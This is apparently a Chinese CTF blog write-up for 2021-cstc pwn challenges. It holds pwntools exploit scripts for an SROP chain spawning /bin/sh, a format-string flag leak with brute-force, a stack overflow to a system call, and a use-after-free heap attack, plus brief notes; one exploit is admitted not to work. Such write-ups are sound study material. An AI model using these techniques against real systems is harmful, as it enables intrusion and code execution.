2021-cstc
1.small 此题在我博客中的SROP中介绍过了,此处直接贴exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context.log_level = "debug" p = process("./small" ) context.arch = "amd64" def g (): gdb.attach(p) input () elf = ELF("small" ) vuln = 0x40100D frame = SigreturnFrame() frame.rax = 0 frame.rdi = 0 frame.rsi = 0x402500 frame.rdx = 0x300 frame.rip = 0x40102B frame.rsp = 0x402500 frame.rbp = 0x402500 payload = "a" *0x18 + p64(vuln) + p64(0x40102b ) + str (frame) p.send(payload) p.sendline("a" *14 ) frame = SigreturnFrame() frame.rax = 59 frame.rdi = 0x402500 frame.rip = 0x40102B frame.rsi = 0 frame.rdx = 0 payload = "\x00" *8 + p64(vuln) + p64(0x40102b ) + str (frame) p.sendline(payload) p.send("q" *8 +"/bin/sh" ) p.interactive()
2.bank 在做这道题的过程中,需要先输入一个字符来绕过检查,需要我们爆破,因为/dev/urandom产生的是随机数
然后就是一个格式化字符串的漏洞,因为malloc了一个堆块,然后从flag.txt中读取文件到堆上,存放堆地址的变量在栈中,这里是%8$s来输出flag
这里跟着两位师傅学到了很多ahhh,我们主要说一下怎么得出的%8$s
1.gdb1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *context.log_level = "debug" while True : p = process("./bank" ) try : p.sendlineafter("account:" ,"a" ) p.sendlineafter("password:" ,"\x00" ) p.recvuntil("Do you want to check your account balance?" ) p.sendline("yes" ) break except : p.close() continue gdb.attach(p) p.sendlineafter("Please input your private code: " ,"%8$s" ) p.interactive()
这是一个脚本,首先为True时,开启一个进程p,然后输入一个”\x00”过随机数,如果我们能接收到
1 Do you want to check your account balance?
证明我们过了随机数检查,然后break跳出循环,执行gdb,进行交互。
2.gdb2 但是执行完gdb和交互之后,我们的程序并没有停到我们想要的main函数中,而是停到了一个奇奇怪怪的地方。
我们用backtrace看一下栈回溯(bt),发现应该是在使用gdb的时候没有下断点的缘故,程序跑完了,我们使用finish命令,跳回到main函数中查看。
3.exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *io = process('./bank' ) context.log_level='debug' def exp (): io.sendlineafter('account:\n' ,'a' ) io.recvuntil('password:\n' ) payload = '' io.sendline(payload) res = io.recv(2 ) io.sendlineafter('balance?\n' ,'yes' ) io.sendlineafter('code: \n' ,'%8$s' ) io.recvuntil('Your input is: ' ) res=io.recvuntil('\n' ) while (True ): io = process("./bank" ) try : exp() break except : io.close() continue io.interactive()
3.auto 1.ida
居然不能f5了,太痛苦了,然后我去网上看了一下wp,原来是有非常多的重复函数,我们要用ida把这些函数过掉
这样用f5就可以了
2.分析 主要是有一个complex_function函数,aas函数作用是将s1与s2进行比较,如果相等,就可以重新输入(栈溢出的位置)。
我们要让s1与s2(UCIJEURI)相等,需要进行转换,转换的脚本也写在exp里了。
3.exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *p = process("auto" ) context.log_level = "debug" context.arch = "i386" system = 0x8048665 ''' a2 = 0 a = "UCIJEURI" key = [] for a2 in range(8): for i in range(65,91): if ord(a[a2]) == (5*a2+i-65)%26+65: key.append(chr(i)) print(a2) break print(key) ''' p.recvuntil("Enter the password: " ) p.sendline("UXYUKVNZ" ) p.recvuntil('again: \n' ) payload = "a" *0x48 +"aaaa" +p32(system) p.send(payload) p.interactive()
4.paper 是一个比较简单的2.23堆题,且有UAF
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *context.log_level = "debug" p = process("./paper" ) libc = ELF("./libc.so.6" ) menu = "choice > " def g (): gdb.attach(p) input () def add (): p.sendlineafter(menu,"1" ) def free (index ): p.sendlineafter(menu,"2" ) p.sendlineafter("Index:" ,str (index)) def edit (index,content ): p.sendlineafter(menu,"3" ) p.sendlineafter("Index:" ,str (index)) p.sendlineafter("word count:" ,str (content)) def show (): p.sendlineafter(menu,"4" ) p.recvuntil("Your disk is at: " ) def move (index ): p.sendlineafter(menu,"5" ) p.sendlineafter("Which disk?" ,str (index)) add() free(0 ) show() stack1 = int (p.recv(14 ),16 ) success("stack1:" +hex (stack1)) v9_10 = stack1 - 8 move(0x21 ) edit(0 ,v9_10) add() add() edit(2 ,3435973836 ) p.sendlineafter(menu,"6" ) p.interactive()
5.managebook 1 这题给了一个libc.so.6,我们用strings libc.so.6 | grep GNU就可以知道其版本
这题有UAF,edit函数修改时,size可以自己输入,即有堆溢出。
有待调试,exp写出来打不通